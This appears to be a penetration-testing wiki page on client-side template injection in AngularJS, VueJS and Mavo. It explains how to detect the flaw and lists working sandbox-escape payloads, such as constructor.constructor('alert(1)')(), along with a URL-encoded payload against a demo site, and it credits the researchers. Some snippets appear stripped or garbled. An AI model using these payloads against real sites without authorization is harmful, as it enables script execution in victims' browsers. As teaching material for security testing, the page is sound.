# Client Side Template Injection (CSTI)
## Summary
It is like a [**Server Side Template Injection**](ssti-server-side-template-injection/) but in the **client**. The **SSTI** can allow you the **execute code** on the remote server, the **CSTI** could allow you to **execute arbitrary JavaScript** code in the victim.
The way to **test** for this vulnerability is very **similar** as in the case of **SSTI**, the interpreter is going to expect something to execute **between doubles keys** and will execute it. For example using something like: `{{ 7-7 }}` if the server is **vulnerable** you will see a `0` and if not you will see the original: `{{ 7-7 }}`
## AngularJS
AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the **`ng-app`** attribute (also known as an AngularJS directive). When a directive is added to the HTML code, **you can execute JavaScript expressions within double curly braces**.\
For example, if your **input** is being **reflected** inside the **body** of the HTML and the body is defined with `ng-app`: **``**
You can **execute arbitrary JavaScript** code using curly braces **adding** to the **body**:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
```
You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)
{% hint style="danger" %}
****[**Angular 1.6 removed the sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `` should work.
{% endhint %}
## VueJS
You can find a **vulnerable vue.js** implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
And the **source code** of the vulnerable example here: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
">
aaa
```
A really good post in CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
**Check more VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)****
## Mavo
Payload:
```
[7*7]
[(1,alert)(1)]
{{top.alert(1)}}
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
test